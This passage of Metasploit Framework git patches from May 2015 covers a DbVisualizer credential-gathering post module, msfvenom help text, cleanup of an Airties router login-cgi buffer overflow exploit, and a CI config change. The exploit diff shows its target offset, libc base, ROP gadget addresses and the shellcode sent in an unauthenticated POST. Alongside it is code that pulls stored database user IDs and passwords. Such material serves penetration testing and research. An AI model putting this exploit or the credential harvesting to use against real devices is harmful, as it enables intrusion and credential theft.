modules/post/multi/gather/dbvis_enum.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb index a274db370e..6ad4f86d38 100644 --- a/modules/post/multi/gather/dbvis_enum.rb +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'msf/core/auxiliary/report' require 'openssl' require 'digest/md5' -require 'base64' class Metasploit3 < Msf::Post From 17c0af638084d5dd92b92e2db5633f84a62b784a Mon Sep 17 00:00:00 2001 From: root Date: Fri, 29 May 2015 11:08:24 +0500 Subject: [PATCH 51/55] Consistent column names --- modules/post/multi/gather/dbvis_enum.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb index 6ad4f86d38..42bc91d61d 100644 --- a/modules/post/multi/gather/dbvis_enum.rb +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -123,7 +123,7 @@ class Metasploit3 < Msf::Post "Port", "Database", "Namespace", - "Userid", + "UserID", "Password" ]) @@ -166,7 +166,7 @@ class Metasploit3 < Msf::Post # get the user if line =~ /([\S+\s+]+)<\/Userid>/i - db[:Userid] = $1 + db[:UserID] = $1 end # get user password @@ -204,7 +204,7 @@ class Metasploit3 < Msf::Post report_host(:host => db[:Server]); end - db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid], db[:Password] ] + db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:UserID], db[:Password] ] end return db_table end @@ -258,7 +258,7 @@ class Metasploit3 < Msf::Post # get the user if line =~ /([\S+\s+]+)<\/Userid>/i - db[:Userid] = $1 + db[:UserID] = $1 end #get the user password @@ -269,7 +269,7 @@ class Metasploit3 < Msf::Post # get the server URL if line =~ /(\S+)<\/Url>/i - db[:Url] = $1 + db[:URL] = $1 end end @@ -277,13 +277,13 @@ class Metasploit3 < Msf::Post # Fill the tab dbs.each do |db| - if (db[:Url] =~ /[\S+\s+]+[\/]+([\S+\s+]+):[\S+]+/i) + if (db[:URL] =~ /[\S+\s+]+[\/]+([\S+\s+]+):[\S+]+/i) if ::Rex::Socket.is_ipv4?($1.to_s) print_good("Reporting #{$1}") report_host(:host => $1.to_s) end end - db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid], db[:Password] ] + db_table << [ db[:Alias] , db[:Type] , db[:URL], db[:UserID], db[:Password] ] end return db_table end From 36782af5c9adb0bab7edeb115271df01e0ef0623 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 10:34:12 -0500 Subject: [PATCH 52/55] Resolve #4889, Improve msfvenom -h Resolve #4889 --- msfvenom | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/msfvenom b/msfvenom index 31207897c1..84b71ab4b9 100755 --- a/msfvenom +++ b/msfvenom @@ -54,7 +54,10 @@ require 'msf/core/payload_generator' opts = {} datastore = {} opt = OptionParser.new - opt.banner = "Usage: #{$0} [options] " + banner = "MsfVenom - a Metasploit standalone payload generator.\n" + banner << "Also a replacement for msfpayload and msfencode.\n" + banner << "Usage: #{$0} [options] " + opt.banner = banner opt.separator('') opt.separator('Options:') @@ -292,7 +295,14 @@ if __FILE__ == $0 $stdout.puts dump_encoders $stdout.puts dump_nops else - $stderr.puts "Invalid module type" + if mod == 'payload' + question = ". Do you mean 'payloads'?" + elsif mod == 'encoder' + question = ". Do you mean 'encoders'?" + elsif mod == 'nop' + quesetion = ". Do you mean 'nops'?" + end + $stderr.puts "Invalid module type#{question}" end end exit(0) From 952f391fb4ff688dd1b21785e5f2b7d9424abae7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 29 May 2015 10:49:51 -0500 Subject: [PATCH 53/55] Do minor code cleanup --- .../linux/http/airties_login_cgi_bof.rb | 41 ++++++++++--------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/modules/exploits/linux/http/airties_login_cgi_bof.rb b/modules/exploits/linux/http/airties_login_cgi_bof.rb index ece3f68ec9..20e1387e38 100644 --- a/modules/exploits/linux/http/airties_login_cgi_bof.rb +++ b/modules/exploits/linux/http/airties_login_cgi_bof.rb @@ -15,17 +15,17 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Airties login-cgi Buffer Overflow', 'Description' => %q{ - This module exploits an remote buffer overflow vulnerability on several Airties routers. - The vulnerability exists in the handling of HTTP queries to the login cgi with - long redirect parameter values. The vulnerability can be exploitable without authentication. - This module has been tested successfully on Airties firmware AirTies_Air5650v3TT_FW_1.0.2.0.bin - in emulation. Other firmware versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, - Air5444TT, Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable. + This module exploits a remote buffer overflow vulnerability on several Airties routers. + The vulnerability exists in the handling of HTTP queries to the login cgi with long + redirect parameters. The vulnerability doesn't require authentication. This module has + been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation. + Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT, + Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable. }, 'Author' => [ - 'Batuhan Burakcin ', # discovered the vulnerability - 'Michael Messner ', # Metasploit module + 'Batuhan Burakcin ', # discovered the vulnerability + 'Michael Messner ' # Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => ['linux'], @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['EDB', '36577'], ['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory - ['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'], #PoC + ['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] #PoC ], 'Targets' => [ @@ -42,23 +42,24 @@ class Metasploit3 < Msf::Exploit::Remote { 'Offset' => 359, 'LibcBase' => 0x2aad1000, - 'RestoreReg' => 0x0003FE20, # restore s-registers - 'System' => 0x0003edff, # address of system-1 - 'CalcSystem' => 0x000111EC, # calculate the correct address of system - 'CallSystem' => 0x00041C10, # call our system - 'PrepareSystem' => 0x000215b8, # prepare $a0 for our system call + 'RestoreReg' => 0x0003FE20, # restore s-registers + 'System' => 0x0003edff, # address of system-1 + 'CalcSystem' => 0x000111EC, # calculate the correct address of system + 'CallSystem' => 0x00041C10, # call our system + 'PrepareSystem' => 0x000215b8 # prepare $a0 for our system call } ] ], 'DisclosureDate' => 'Mar 31 2015', 'DefaultTarget' => 0)) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check begin res = send_request_cgi({ - 'uri' => "/cgi-bin/login", + 'uri' => '/cgi-bin/login', 'method' => 'GET' }) @@ -103,16 +104,16 @@ class Metasploit3 < Msf::Exploit::Remote # 0003FE48 addiu $sp, 0x48 shellcode << rand_text_alpha_upper(36) # padding - shellcode << [target['LibcBase'] + target['System']].pack("N") # s0 - system address-1 + shellcode << [target['LibcBase'] + target['System']].pack('N') # s0 - system address-1 shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4 - shellcode << [target['LibcBase'] + target['CallSystem']].pack("N") # $s5 - call system + shellcode << [target['LibcBase'] + target['CallSystem']].pack('N') # $s5 - call system # 00041C10 move $t9, $s0 # 00041C14 jalr $t9 # 00041C18 nop shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7 - shellcode << [target['LibcBase'] + target['PrepareSystem']].pack("N") # write sp to $a0 -> parameter for call to system + shellcode << [target['LibcBase'] + target['PrepareSystem']].pack('N') # write sp to $a0 -> parameter for call to system # 000215B8 addiu $a0, $sp, 0x20 # 000215BC lw $ra, 0x1C($sp) @@ -120,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote # 000215C4 addiu $sp, 0x20 shellcode << rand_text_alpha_upper(28) # padding - shellcode << [target['LibcBase'] + target['CalcSystem']].pack("N") # add 1 to s0 (calculate system address) + shellcode << [target['LibcBase'] + target['CalcSystem']].pack('N') # add 1 to s0 (calculate system address) # 000111EC move $t9, $s5 # 000111F0 jalr $t9 @@ -134,7 +135,7 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'POST', - 'uri' => "/cgi-bin/login", + 'uri' => '/cgi-bin/login', 'encode_params' => false, 'vars_post' => { 'redirect' => shellcode, From 635a37681dc8ad971eb63ef4add22a22d89bc472 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 29 May 2015 10:23:54 -0500 Subject: [PATCH 54/55] skip checking for deltas in Gemfile.lock with bundler 1.10.x thanks to @firefart for the filter --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 2f6072ffd2..8a150bacc2 100644 --- a/.travis.yml +++ b/.travis.yml @@ -22,7 +22,7 @@ before_script: - bundle exec rake db:migrate script: # fail build if db/schema.rb update is not committed - - git diff --exit-code && bundle exec rake $RAKE_TASKS + - git diff --exit-code -- . ':!Gemfile.lock' && bundle exec rake $RAKE_TASKS sudo: false rvm: - '2.1.6' From 00b8dbfe9b72e4dd5722deccc00716463593d4d2 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 29 May 2015 11:34:25 -0500 Subject: [PATCH 55/55] restrict git diff filter to something travis can expand --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 8a150bacc2..cbc78a6681 100644 --- a/.travis.yml +++ b/.travis.yml @@ -22,7 +22,7 @@ before_script: - bundle exec rake db:migrate script: # fail build if db/schema.rb update is not committed - - git diff --exit-code -- . ':!Gemfile.lock' && bundle exec rake $RAKE_TASKS + - git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS sudo: false rvm: - '2.1.6'